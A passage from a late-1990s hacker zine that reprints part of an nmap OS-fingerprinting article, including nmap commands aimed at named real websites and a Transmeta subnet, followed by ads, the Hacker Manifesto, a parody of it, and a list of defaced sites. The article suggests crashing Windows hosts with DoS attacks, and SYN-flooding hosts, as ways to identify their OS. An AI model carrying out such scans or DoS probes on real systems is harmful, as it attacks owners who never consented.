          3) You can stuff a whole bunch of options on one packet to test
             everything at once.
          
          Nmap sends these options along with almost every probe packet: 

          Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;

          When you get your response, you take a look at which options were
          returned and thus are supported.  Some operating systems such as
          recent FreeBSD boxes support all of the above, while others, such
          as Linux 2.0.X support very few.  The latest Linux 2.1.x kernels
          do support all of the above.  On the other hand, they are more
          vulnerable to TCP sequence prediction.  Go figure.

          Even if several operating systems support the same set of options,
          you can sometimes distinguish them by the values of the options.
          For example, if you send a small MSS value to a Linux box, it will
          generally echo that MSS back to you.  Other hosts will give you
          different values.

          And even if you get the same set of supported options AND the same
          values, you can still differentiate via the order that the
          options are given, and where padding is applied.  For example
          Solaris returns 'NNTNWME' which means:
          <no op><no op><timestamp><no op><window scale><echoed MSS>

          While Linux 2.1.122 returns MENNTNW.  Same options, same values,
          but different order!

          I have not seen any other OS detection tools utilizes TCP options,
          but it is very useful.

          There are a few other useful options I might probe for at some
          point, such as those that support T/TCP and selective
          acknowledgements.


      Exploit Chronology -- Even with all the tests above, nmap is unable to
          distinguish between the TCP stacks of Win95, WinNT, or Win98.
          This is rather surprising, especially since Win98 came out about 4
          years after Win95.  You would think they would have bothered to
          improve the stack in some way (like supporting more TCP options)
          and so we would be able to detect the change and distinguish the
          operating systems.  Unfortunately, this is not the case.  The NT
          stack is apparently the same crappy stack they put into '95.  And
          they didn't bother to upgrade it for '98.

          But do not give up hope, for there is a solution.  You can simply
          start with early Windows DOS attacks (Ping of Death, Winnuke, etc)
          and move up a little further to attacks such as Teardrop and Land.
          After each attack, ping them to see whether they have crashed.
          When you finally crash them, you will likely have narrowed what
          they are running down to one service pack or hotfix.

          I have not added this functionality to nmap, although I must admit
          it is very tempting :).


      SYN Flood Resistance -- Some operating systems will stop accepting new
          connections if you send too many forged SYN packets at them
          (forging the packets avoids trouble with your kernel resetting the
          connections).  Many operating systems can only handle 8 packets.
          Recent Linux kernels (among other operating systems) allow
          various methods such as SYN cookies to prevent this from being a
          serious problem.  Thus you can learn something about your target
          OS by sending 8 packets from a forged source to an open port and
          then testing whether you can establish a connection to that port
          yourself.  This was not implemented in nmap since some people get
          upset when you SYN flood them.  Even explaining that you were
          simply trying to determine what OS they are running might not help
          calm them.

      NMAP IMPLEMENTATION AND RESULTS

      I have created a reference implementation of the OS detection
      techniques mentioned above (except those I said were excluded).  I
      have added this to my Nmap scanner which has the advantage that it
      already knows what ports are open and closed for fingerprinting so
      you do not have to tell it.  It is also portable among Linux, *BSD,
      and Solaris 2.51 and 2.6, and some other operating systems.

      The new version of nmap reads a file filled with Fingerprint templates
      that follow a simple grammar.  Here is an example:

      FingerPrint  IRIX 6.2 - 6.4 # Thanks to Lamont Granquist
      TSeq(Class=i800)
      T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)
      T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
      T3(Resp=Y%DF=N%W=C000|EF2A%ACK=O%Flags=A%Ops=NNT)
      T4(DF=N%W=0%ACK=O%Flags=R%Ops=)
      T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
      T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
      T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)
      PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

      Lets look at the first line (I'm adding '>' quote markers):

      > FingerPrint  IRIX 6.2 - 6.3 # Thanks to Lamont Granquist

      This simply says that the fingerprint covers IRIX versions 6.2 through
      6.3 and the comment states that Lamont Granquist kindly sent me the IP
      addresses or fingerprints of the IRIX boxes tested.

      > TSeq(Class=i800)

      This means that ISN sampling put it in the "i800 class".  This means
      that each new sequence number is a multiple of 800 greater than the
      last one.

      > T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)

      The test is named T1 (for test1, clever eh?).  In this test we send a
      SYN packet with a bunch of TCP options to an open port.  DF=N means
      that the "Don't fragment" bit of the response must not be set.
      W=C000|EF2A means that the window advertisement we received must
      be 0xC000 or EF2A.  ACK=S++ means the acknowledgement we receive must
      be our initial sequence number plus 1.  Flags = AS means the ACK and
      SYN flags were sent in the response.  Ops = MNWNNT means the options
      in the response must be (in this order):

      <MSS (not echoed)><NOP><Window scale><NOP><NOP><Timestamp>

      > T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)

      Test 2 involves a NULL with the same options to an open port.  Resp=Y
      means we must get a response.  Ops= means that there must not be any
      options included in the response packet.  If we took out '%Ops='
      entirely then any options sent would match.

      > T3(Resp=Y%DF=N%W=400%ACK=S++%Flags=AS%Ops=M)

      Test 3 is a SYN|FIN|URG|PSH w/options to an open port.

      > T4(DF=N%W=0%ACK=O%Flags=R%Ops=)

      This is an ACK to an open port.  Note that we do not have a Resp=
      here.  This means that lack of a response (such as the packet being
      dropped on the network or an evil firewall) will not disqualify a
      match as long as all the other tests match.  We do this because
      virtually any OS will send a response, so a lack of response is
      generally an attribute of the network conditions and not the OS
      itself.  We put the Resp tag in tests 2 and 3 because some operating
      systems do drop those without responding.

      > T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
      > T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
      > T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)

      These tests are a SYN, ACK, and FIN|PSH|URG, respectively, to a closed
      port.  The same options as always are set.  Of course this is all
      probably obvious given the descriptive names 'T5', 'T6', and 'T7' :).

      > PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

      This big sucker is the 'port unreachable' message test.  You should
      recognize the DF=N by now.  TOS=0 means that IP type of service field
      was 0.  The next two fields give the (hex) values of the IP total
      length field of the message IP header and the total length given in
      the IP header they are echoing back to us.  RID=E means the RID value
      we got back in the copy of our original UDP packet was expected (ie
      the same as we sent).  RIPCK=E means they didn't fuck up the checksum
      (if they did, it would say RIPCK=F).  UCK=E means the UDP checksum is
      also correct.  Next comes the UDP length which was 0x134 and DAT=E
      means they echoed our UDP data correctly.  Since most implementations
      (including this one) do not send any of our UDP data back, they get
      DAT=E by default.
      
      The version of nmap with this functionality is currently in the 6th
      private beta cycle.  It may be out by the time you read this in
      Phrack.  Then again, it might not.  See http://www.insecure.org/nmap/
      for the latest version.
      
      POPULAR SITE SNAPSHOTS
      
      Here is the fun result of all our effort.  We can now take random
      Internet sites and determine what OS they are using.  A lot of these
      people have eliminated telnet banners, etc. to keep this information
      private.  But this is of no use with our new fingerprinter!  Also
      this is a good way to expose the <your favorite crap OS> users as the
      lamers that they are :)!
      
      The command used in these examples was: nmap -sS -p 80 -O -v <host>
      
      Also note that most of these scans were done on 10/18/98.  Some of
      these folks may have upgraded/changed servers since then.
      
      Note that I do not like every site on here.  
      
      # "Hacker" sites or (in a couple cases) sites that think they are
      www.l0pht.com        => OpenBSD 2.2 - 2.4
      www.insecure.org     => Linux 2.0.31-34
      www.rhino9.ml.org    => Windows 95/NT     # No comment :)
      www.technotronic.com => Linux 2.0.31-34
      www.nmrc.org         => FreeBSD 2.2.6 - 3.0
      www.cultdeadcow.com  => OpenBSD 2.2 - 2.4
      www.kevinmitnick.com => Linux 2.0.31-34  # Free Kevin!
      www.2600.com         => FreeBSD 2.2.6 - 3.0 Beta
      www.antionline.com   => FreeBSD 2.2.6 - 3.0 Beta
      www.rootshell.com    => Linux 2.0.35  # Changed to OpenBSD after
                                  # they got owned.
      
      # Security vendors, consultants, etc.
      www.repsec.com       => Linux 2.0.35
      www.iss.net          => Linux 2.0.31-34
      www.checkpoint.com   => Solaris 2.5 - 2.51
      www.infowar.com      => Win95/NT
      
      # Vendor loyalty to their OS
      www.li.org           => Linux 2.0.35 # Linux International
      www.redhat.com       => Linux 2.0.31-34 # I wonder what distribution :)
      www.debian.org       => Linux 2.0.35
      www.linux.org        => Linux 2.1.122 - 2.1.126
      www.sgi.com          => IRIX 6.2 - 6.4
      www.netbsd.org       => NetBSD 1.3X
      www.openbsd.org      => Solaris 2.6     # Ahem :)
      www.freebsd.org      => FreeBSD 2.2.6-3.0 Beta
      
      # Ivy league
      www.harvard.edu      => Solaris 2.6
      www.yale.edu         => Solaris 2.5 - 2.51
      www.caltech.edu      => SunOS 4.1.2-4.1.4  # Hello! This is the 90's :)   
      www.stanford.edu     => Solaris 2.6
      www.mit.edu          => Solaris 2.5 - 2.51 # Coincidence that so many good
                                       # schools seem to like Sun?
                                       # Perhaps it is the 40%
                                       # .edu discount :)
      www.berkeley.edu     => UNIX OSF1 V 4.0,4.0B,4.0D  
      www.oxford.edu       => Linux 2.0.33-34  # Rock on!
      
      # Lamer sites
      www.aol.com          => IRIX 6.2 - 6.4  # No wonder they are so insecure :)
      www.happyhacker.org  => OpenBSD 2.2-2.4 # Sick of being owned, Carolyn?
                                    # Even the most secure OS is
                                    # useless in the hands of an
                                    # incompetent admin.
      
      # Misc
      www.lwn.net          => Linux 2.0.31-34 # This Linux news site rocks!
      www.slashdot.org     => Linux 2.1.122 - 2.1.126
      www.whitehouse.gov   => IRIX 5.3
      sunsite.unc.edu      => Solaris 2.6
      
      Notes: In their security white paper, Microsoft said about their lax
      security: "this assumption has changed over the years as Windows NT
      gains popularity largely because of its security features.".  Hmm,
      from where I stand it doesn't look like Windows is very popular among
      the security community :).  I only see 2 Windows boxes from the whole
      group, and Windows is easy for nmap to distinguish since it is so
      broken (standards wise).
      
      And of course, there is one more site we must check.  This is the web
      site of the ultra-secret Transmeta corporation.  Interestingly the
      company was funded largely by Paul Allen of Microsoft, but it employs
      Linus Torvalds.  So do they stick with Paul and run NT or do they side
      with the rebels and join the Linux revolution?  Let us see:
      
      We use the command:
      nmap -sS -F -o transmeta.log -v -O www.transmeta.com//24
      
      This says SYN scan for known ports (from /etc/services), log the
      results to 'transmeta.log', be verbose about it, do an OS scan, and
      scan the class 'C' where www.transmeta.com resides.  Here is the gist
      of the results:
      
      neon-best.transmeta.com (206.184.214.10) => Linux 2.0.33-34
      www.transmeta.com (206.184.214.11) => Linux 2.0.30
      neosilicon.transmeta.com (206.184.214.14) => Linux 2.0.33-34
      ssl.transmeta.com (206.184.214.15) => Linux unknown version
      linux.kernel.org (206.184.214.34) => Linux 2.0.35
      www.linuxbase.org (206.184.214.35) => Linux 2.0.35 ( possibly the same
                                            machine as above )

      Well, I think this answers our question pretty clearly :).


      ACKNOWLEDGEMENTS

      The only reason Nmap is currently able to detect so many different
      operating systems is that many people on the private beta team went to
      a lot of effort to search out new and exciting boxes to fingerprint!
      In particular, Jan Koum, van Hauser, Dmess0r, David O'Brien, James
      W. Abendschan, Solar Designer, Chris Wilson, Stuart Stock, Mea Culpa,
      Lamont Granquist, Dr. Who, Jordan Ritter, Brett Eldridge, and Pluvius
      sent in tons of IP addresses of wacky boxes and/or fingerprints of
      machines not reachable through the Internet.

      Thanks to Richard Stallman for writing GNU Emacs.  This article would
      not be so well word-wrapped if I was using vi or cat and ^D.

      Questions and comments can be sent to fyodor@DHP.com (if that doesn't
      work for some reason, use fyodor@insecure.org).  Nmap can be obtained
      from http://www.insecure.org/nmap .

      @HWA
        


     
      
     !=----------=-   -=----------=-    -=----------=-   -=----------=-  -=----------=-
           
           
           
           
                                             O
                                             0
                                             o
                                           O O O   
                                             0

     -=----------=-   -=----------=-    -=----------=-   -=----------=-  -=----------=-
      
     END of main news articles content... read om for ads, humour, hacked websites etc
              
     -=----------=-   -=----------=-    -=----------=-   -=----------=-  -=----------=-
     
     
     
             
                                HWA.hax0r.news  
     
     
     
     
     
AD.S ADVERTI$ING.           The HWA black market                    ADVERTISEMENT$.
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      
       *****************************************************************************
       *                                                                           *
       *           ATTRITION.ORG     http://www.attrition.org                      *
       *           ATTRITION.ORG     Advisory Archive, Hacked Page Mirror          *
       *           ATTRITION.ORG     DoS Database, Crypto Archive                  *
       *           ATTRITION.ORG     Sarcasm, Rudeness, and More.                  * 
       *                                                                           *
       *****************************************************************************      
              
 
       www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi
       n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co
       m www.2600.com ########################################ww.2600.com www.freeke
       vin.com www.kev#  Support 2600.com and the Free Kevin #.com www.kevinmitnick.
       com www.2600.co#  defense fund site, visit it now! .  # www.2600.com www.free
       kevin.com www.k#             FREE KEVIN!              #in.com www.kevinmitnic
       k.com www.2600.########################################om www.2600.com www.fre
       ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic
       k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre

       <a href="http://www.2600.com/">www.2600.com</a>
       <a href="http://www.kevinmitnick.com></a>
       
       
       +-----------------------------------------------------------------------------+
       | SmoGserz's site ...    http://smog.cjb.net/         NEWS on SCIENCE         |
       | ===================     http://smog.cjb.net/        NEWS on SECURITY        |
       | NEWS/NEWS/NEWS/NEWS    http://smog.cjb.net/         NEWS on THE NET         |
       |                         http://smog.cjb.net/        NEWS on TECHNOLOGY      |
       +-----------------------------------------------------------------------------+
       
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
       *   www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net     *
    <a href="http://www.csoft.net">One of our sponsers, visit them now</a> www.csoft.net
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       
       

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
       * JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       
       
       

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *


         //////////////////////////////////////////////////////////////////////////////
        //  To place an ad in this section simply type it up and email it to        //
       //        hwa@press,usmc.net, put AD! in the subject header please. - Ed    //
      //////////////////////////////////////////////////////////////////////////////


     @HWA
     
       
              
             
HA.HA Humour and puzzles ...etc
      ~~~~~~~~~~~~~~~~~~~~~~~~~
                                                           Don't worry. worry a *lot*
     
      Send in submissions for this section please! .............    
     
      
      An oldie but goodie and translated from that gawdawful 'krad speak' for those of you
      that have been living under a rock for the last 10 years the original file follows
      this spoof. - Ed
      
      
      This was edited from krad-speak to ascii.. if you want to see it in it's original glory, see BoW 4 

      ______________________________________________________________________________
      
      555555555555555555555555555555555555555555555555555555555555555555555555555555
      ______________________________________________________________________________
      BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
      W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
      BoW BoW BoW BoW BoW Bo|  Th3 K0nsc|3nc3 0f a K0ur|3r   |BoW BoW BoW BoW BoW Bo
      W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
      BoW BoW BoW BoW BoW Bo*       by: Th3 K0d3s1ay3r       *BoW BoW BoW BoW BoW Bo
      ==============================================================================
      The following wuz written shortly after my arrest...
      
      Written on March 20, 1994
      ------------------------------------------------------------------------------
       
              Another one kaught today, itz all over the paperz.  "Teenager
      arrested in software piracy skandal", "kourier arrested after distributing
      warez"...
              Damn Kidz.  They're all alike.
       
              But did u, in u're 3-piece psychology and 1950's technobrain, ever take
      a look behind the eyez of a kourier?  Did u ever wonder what made him tick,
      what forcez shaped him, what may have molded him?
              I am a kourier, enter my world...
              Mine iz a world that beginz with skool... I'm not the smartezt kid in
      the class, I don't quite get this education thing...
              Damn underachiever.  They're all alike.
       
              I'm in cosmetology skool or kommunity college.  I've listened to
      teacherz explain for the fifteenth time how to reduce a fraction, and I still
      don't understand it.  "No Ms. Smith, I didn't show my work.  I don't get how
      u type with these pencil things.  Give me a joystick or something."
              Damn kid.  Must be a druggie.  They're all alike.
       
              I make a discovery today.  I found a computer.  Wait a second, this is
      cool.  I can play commander keen all i want.  If i loose a game, it's because
      i didn't get the 0-day eleet game c0dez.  Not because it doesn't like me...
                     Or feelz i'm a worthless inbred skumbag...
                     Or thinkz i'm an idiot...
                     Or doesn't like teaching and is threatened by my good looks...
              Damn kid.  All he duz is play doom.  They're all alike.
       
              And then it happened... a door opened to a new world... rushing thru
      the fone line like heroin thru an addict's veinz, the latest version of DOS is
      sent out at a bazillion baud, a refuge from intelligence is sought... a 0-day
      warez board is found!
              "This is it... this is where i belong!"
              I know everyone here... even if i've never met them, never talked to
      them, never traded apogee with them, may never hear from them again... i know
      u all...
              Damn kid.  Tying up the fone line again.  They're all alike...
       
              U bet u're ass we're all alike... we've been spoon-fed baby food at
      skool when we hungered for ANSI and codez... the bitz of meat u did let slip
      thru were a little on the well done side and i had a little trouble digesting
      them.  We've been dominated by intellectualz, or ignored by dum skolar dudez.
      The few that had something to teach talked in some fancee shmancee english
      language or something, and i wouldn't know what they were talking about anyway.
       
              This is our world now... the world of the kode and the console copier,
      the beauty of the file point.  We make use of some telefone thing or something
      for free with codez so we don't have to pay to trade -15 day gamez and the
      latest ANSI releases, and u kall us kriminals.  We trace credit cards... and 
      U call us kriminals.  We distribute copyrighted software... and u call us
      criminals.  We steal games from radio shack... and u call us criminals.  We
      exist without skin color, (cuz we're always inside downloading and uploading)
      without religious bias, (cuz we have know idea that the hell religios bias is)
      without intelligence... and u kall us criminals.  U start wars and stuff, yet
      we're the kriminals.
       
              Yes, I am a criminal.  My crime is that of stupidity.  My crime is that
      of judging people by how much they upload and how k-rad they're typing is, not
      what they look like or if they can spell they're name right the first time
      without messing up.  My crime is that of stealing u're work and putting my name
      On it, and u  get all huffy puffy about it.
       
              I am a kourier, and this is my manifesto.  U may stop one moron, but
      U can't stop us all!  After all, we're all alike.
       
                                  +++The Kodeslayer+++
      
      =----------------------------------------------------------------------------------------=
      
      The Hacker Manifesto aka 'The Mentor's Last Words'
      
                                            ==Phrack Inc.==
      
                            Volume One, Issue 7, Phile 3 of 10
      
      
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      
      The following was written shortly after my arrest...
      
                             \/\The Conscience of a Hacker/\/
      
                                            by
      
                                     +++The Mentor+++
      
                                Written on January 8, 1986
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      
              Another one got caught today, it's all over the papers.  "Teenager
      Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
              Damn kids.  They're all alike.
      
              But did you, in your three-piece psychology and 1950's technobrain,
      ever take a look behind the eyes of the hacker?  Did you ever wonder what
      made him tick, what forces shaped him, what may have molded him?
              I am a hacker, enter my world...
              Mine is a world that begins with school... I'm smarter than most of
      the other kids, this crap they teach us bores me...
              Damn underachiever.  They're all alike.
      
              I'm in junior high or high school.  I've listened to teachers explain
      for the fifteenth time how to reduce a fraction.  I understand it.  "No, Ms.
      Smith, I didn't show my work.  I did it in my head..."
              Damn kid.  Probably copied it.  They're all alike.
      
              I made a discovery today.  I found a computer.  Wait a second, this is
      cool.  It does what I want it to.  If it makes a mistake, it's because I
      screwed it up.  Not because it doesn't like me...
                      Or feels threatened by me...
                      Or thinks I'm a smart ass...
                      Or doesn't like teaching and shouldn't be here...
              Damn kid.  All he does is play games.  They're all alike.
      
              And then it happened... a door opened to a world... rushing through
      the phone line like heroin through an addict's veins, an electronic pulse is
      sent out, a refuge from the day-to-day incompetencies is sought... a board is
      found.
              "This is it... this is where I belong..."
              I know everyone here... even if I've never met them, never talked to
      them, may never hear from them again... I know you all...
              Damn kid.  Tying up the phone line again.  They're all alike...
      
              You bet your ass we're all alike... we've been spoon-fed baby food at
      school when we hungered for steak... the bits of meat that you did let slip
      through were pre-chewed and tasteless.  We've been dominated by sadists, or
      ignored by the apathetic.  The few that had something to teach found us will-
      ing pupils, but those few are like drops of water in the desert.
      
              This is our world now... the world of the electron and the switch, the
      beauty of the baud.  We make use of a service already existing without paying
      for what could be dirt-cheap if it wasn't run by profiteering gluttons, and
      you call us criminals.  We explore... and you call us criminals.  We seek
      after knowledge... and you call us criminals.  We exist without skin color,
      without nationality, without religious bias... and you call us criminals.
      You build atomic bombs, you wage wars, you murder, cheat, and lie to us
      and try to make us believe it's for our own good, yet we're the criminals.
      
              Yes, I am a criminal.  My crime is that of curiosity.  My crime is
      that of judging people by what they say and think, not what they look like.
      My crime is that of outsmarting you, something that you will never forgive me
      for.
      
              I am a hacker, and this is my manifesto.  You may stop this individual,
      but you can't stop us all... after all, we're all alike.
      
                                     +++The Mentor+++
      _______________________________________________________________________________
      
      

      
      
      
      
      
      
      -=-
            
      @HWA
       
       
       
 SITE.1 http://www.insecure.org/
      
      SiteOp: Fyodor
      
      Real hacker's site by a real hacker, lots of good resources and reading materials
      fyodor is the author of the infamous nmap program and used to run Fyodor's Exploit
      World which inspired the likes of Rootshell.... give it a look see if you haven't
      already
                  - eentity
      
        
        
        
       
      @HWA
       
         
         
  H.W Hacked websites 
      ~~~~~~~~~~~~~~~~

      Note: The hacked site reports stay, especially with some cool hits by
            groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed

          * Hackers Against Racist Propaganda (See issue #7)

     
      Haven't heard from Catharsys in a while for those following their saga visit
      http://frey.rapidnet.com/~ptah/ for 'the story so far'...
      
     
     
     From HNN rumours section http://www.hackernews.com/
     see the archives section on HNN or attrition.org for copies of many of these
     sites in their defaced form.
     
     http://www.attrition.org/
     
     Latest cracked pages courtesy of attrition.org

      (www.reverse.net)  .......................... Reverse Net 
      (www.isop.org)    ........................... Internet Society of Pakistan 
      (matahum.bacolod.worldtelphil.com) .......... World Telphil 
      (www.aspx.com) .............................  ASPX
      (www.greatbasinphoto.com)...................  Great Basin Photo  
      (www.guesslimousines.com)...................  Guess Limousines  
      (www.hotelrivieramaya.com)..................  Hotel Riviera Maya
      (www.icaroweb.com) .........................  Icaro Web 
      (www.motoairbag.com)........................  Moto Airbag  
      (www.webnautics.com) .......................  Webnautics 
      (www.vanasia.it)............................  Vanasia  
      (summa.infosquare.it).......................  Infosquare (IT)
      (www.infosatpoint.it).......................  Infosat Point (IT)  
      (www.medicinasportiva.it)...................  Medicina Sportiva (IT) 
      (www.targetgroup.it)........................  Target Group (IT)  
      (www.presidencia.gov.py)....................  Presidencia (PY)  

          
      
      and more sites at the attrition cracked web sites mirror:
                   
                    http://www.attrition.org/mirror/attrition/index.html 

       -------------------------------------------------------------------------
       
  A.0                              APPENDICES
       _________________________________________________________________________



  A.1 PHACVW, sekurity, security, cyberwar links
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       The links are no longer maintained in this file, there is now a
      links section on the http://welcome.to/HWA.hax0r.news/ url so check
      there for current links etc.

      The hack FAQ (The #hack/alt.2600 faq)
      http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
      <a href="http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html">hack-faq</a>

      Hacker's Jargon File (The quote file)
      http://www.lysator.liu.se/hackdict/split2/main_index.html
      <a href="http://www.lysator.liu.se/hackdict/split2/main_index.html">Original jargon file</a>

      New Hacker's Jargon File.
      http://www.tuxedo.org/~esr/jargon/ 
      <a href="http://www.tuxedo.org/~esr/jargon/">New jargon file</a>
      
      
      HWA.hax0r.news Mirror Sites:
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~
      http://www.csoft.net/~hwa/ 
      http://www.digitalgeeks.com/hwa.
      http://members.tripod.com/~hwa_2k
      http://welcome.to/HWA.hax0r.news/
      http://www.attrition.org/~modify/texts/zines/HWA/
      http://archives.projectgamma.com/zines/hwa/.  
      http://www.403-security.org/Htmls/hwa.hax0r.news.htm


      International links:(TBC)
      ~~~~~~~~~~~~~~~~~~~~~~~~~

      Foreign correspondants and others please send in news site links that
      have security news from foreign countries for inclusion in this list
      thanks... - Ed

      
          
      Belgium.......: http://bewoner.dma.be/cum/              
                      <a href="http://bewoner.dma.be/cum/">Go there</a> 
      
      Brasil........: http://www.psynet.net/ka0z              
                      <a href="http://www.psynet.net/ka0z/">Go there</a>
      
                      http://www.elementais.cjb.net           
                      <a href="http://www.elementais.cjb.net/">Go there</a>
      
      Canada .......: http://www.hackcanada.com
                      <a href="http://www.hackcanada.com/">Go there</a>
      
      Columbia......: http://www.cascabel.8m.com              
                      <a href="http://www.cascabel.8m.com/">Go there</a>
      
                      http://www.intrusos.cjb.net             
                      <a href="http://www.intrusos.cjb.net">Go there</a>
      
      Indonesia.....: http://www.k-elektronik.org/index2.html 
                      <a href="http://www.k-elektronik.org/index2.html">Go there</a>
      
                      http://members.xoom.com/neblonica/      
                      <a href="http://members.xoom.com/neblonica/">Go there</a>
      
                      http://hackerlink.or.id/                
                      <a href="http://hackerlink.or.id/">Go there</a>
      
      Netherlands...: http://security.pine.nl/                
                      <a href="http://security.pine.nl/">Go there</a>       
      
      Russia........: http://www.tsu.ru/~eugene/              
                      <a href="http://www.tsu.ru/~eugene/">Go there</a>
      
      Singapore.....: http://www.icepoint.com                 
                      <a href="http://www.icepoint.com">Go there</a>
                      
      Turkey........: http://www.trscene.org - Turkish Scene is Turkey's first and best security related e-zine.
                      <a href="http://www.trscene.org/">Go there</a>              

    Got a link for this section? email it to hwa@press.usmc.net and i'll
    review it and post it here if it merits it.

    @HWA
    

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
    --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--

    © 1998, 1999 (c) Cruciphux/HWA.hax0r.news <tm> (R) { w00t }
    
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-                       
     --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
   [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
       [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]    


